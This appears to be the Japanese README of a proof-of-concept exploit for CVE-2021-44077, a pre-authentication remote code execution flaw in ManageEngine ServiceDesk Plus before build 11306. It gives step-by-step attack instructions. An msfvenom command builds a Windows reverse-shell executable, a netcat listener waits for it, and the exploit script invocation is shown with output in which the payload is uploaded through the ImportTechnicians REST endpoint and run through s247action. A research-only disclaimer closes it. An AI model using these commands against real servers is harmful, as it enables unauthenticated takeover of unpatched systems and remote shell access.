
ManageEngine ServiceDesk Plus(CVE-2021-44077)のPreAuth RCEを実証するPoCエクスプロイト。脆弱なターゲット上で任意のWindows実行ファイルをアップロードして実行します。
CVE-2021-44077 の概念実証エクスプロイト: ManageEngine ServiceDesk Plus < 11306 における PreAuth RCE
参考:
CISA 勧告:
対策 (ビルド 11306 以降に更新):
ManageEngine ServiceDesk Plus ビルド 11303 でテスト済み。すべての AV を無効化。
このエクスプロイトは Windows 実行ファイルをターゲットにアップロードし、実行します。
エクスプロイトするには、まず任意の実行ファイルを生成します。例:
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.0.140 LPORT=4444 -f exe > msiexec.exe
pip install で requirements ファイルをインストールするか、requests パッケージがインストールされていることを確認してください。
リバースシェルを取得しようとする場合は、最初にリスナーを実行してください。例:
nc -l 4444
次に、url と exe 引数を指定してエクスプロイトスクリプトを実行します。例:
python exploit.py http://<TARGET>:<PORT> <path_to_exe>
スクリプト出力例:
% python exploit.py http://192.168.0.140:8080 msiexec.exe
[+] Target: http://192.168.0.140:8080/
[+] Executable: msiexec.exe
[+] Uploading msiexec.exe to http://192.168.0.140:8080/RestAPI/ImportTechnicians?step=1
[+] Got 401 error code on upload. This is expected.
[+] Uploaded msiexec.exe
[+] Attempting to invoke against url http://192.168.0.140:8080/./RestAPI/s247action. Waiting up to 20 seconds...
[+] Done, did it work?

bin ディレクトリにアップロードできます。アップロードしたファイルを実行する他の方法もあるかもしれません。このソフトウェアは、学術研究および効果的な防御技術の開発のみを目的として作成されており、明示的に許可された場合を除き、システムへの攻撃に使用することは意図されていません。プロジェクトメンテナは、ソフトウェアの誤用について一切の責任を負いません。責任を持って使用してください。